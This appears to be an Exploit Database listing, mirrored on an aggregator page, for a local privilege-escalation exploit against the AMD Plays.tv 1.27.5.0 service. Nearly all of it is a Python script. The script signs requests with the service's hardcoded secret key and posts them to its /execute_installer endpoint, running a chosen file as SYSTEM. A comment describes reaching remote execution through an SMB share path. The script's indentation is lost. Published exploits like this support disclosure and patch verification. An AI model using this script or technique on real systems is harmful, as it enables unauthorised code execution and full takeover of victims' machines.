AMD Plays.tv 1.27.5.0 – ‘plays_service.exe’ Arbitrary File Execution

• Exploit Database
• 92 阅读

• 作者： Securifera
  日期： 2018-04-15
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44476/

• ########################################################################
  #http://support.amd.com/en-us/download?cmpid=CCCOffline - 
  #Click "Automatically Detect - Download Now"
  #Installation Automatically Installs "Raptr, Inc Plays TV Service"
  #
  #OR
  #
  #https://plays.tv/download
  #
  #Target OS: Windows( Any )
  #Privilege: SYSTEM
  #Type:Arbitrary File Execution
  #
  #Notes: Second minor bug allows for arbitrary file write of 
  # uncontrolled data using the /extract_files path.
  #
  ########################################################################
  
  #!/usr/bin/python3
  import urllib.request
  import json
  import hashlib
  
  def check_svc( path, data ):
  
  #Setup request
  request = urllib.request.Request(addr)
  
  #add post data
  try:
  resp = urllib.request.urlopen(request, "data".encode("utf-8"))
  return "[-] Not Raptr, Plays TV service"
  except urllib.error.HTTPError as err:
  error_message = err.read().decode("utf-8")
  if error_message == 'Security failed - Missing hash or message[data]':
  return "[+] Raptr, Plays TV service"
  
  def post_req( path, data ):
  
  secret_key = 'a%qs0t33QgiE6ut^0I&Y'
  
  #Setup request
  request = urllib.request.Request(addr)
  json_data = json.dumps(data)
  
  m = hashlib.md5()
  hash_data = path + json_data + secret_key
  m.update(hash_data.encode('utf8'))
  hash_str = m.hexdigest()
  
  #add post data
  p_data = urllib.parse.urlencode({'data' : json_data, 'hash' : hash_str }).encode("utf-8")
  resp = urllib.request.urlopen(request, p_data)
  return resp.read()
  
  #Target IP address
  ip = '127.0.0.1'
  
  ##############################################################
  # The service binds to an ephemeral port defined at
  # [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\PlaysTV\Service] 
  ##############################################################
  port = 50452
  
  ##############################################################
  # The service calls CreateProcess with the following format: 
  # '"%s" -appdata "%s" -auto_installed 1' % (installer, appdata)
  #
  # One way to achieving remote code execution is to use SMB
  # cmd = "\\\\<IP ADDRESS>\\<SHARE>\\<FILE>"
  ##############################################################
  cmd = "C:\\Windows\\System32\\calc.exe" #Local Execution
  data = {
  "installer": cmd,
  "appdata": cmd
  }
  
  #Set url
  path = '/execute_installer'
  addr = 'http://' + ip + ':' + str(port) + path
  
  #Check if the remote service is a Raptr Plays TV svc
  #ret = check_svc(data, path)
  #print(ret)
  
  #Exploit service
  ret = post_req(path, data)
  print(ret)
  

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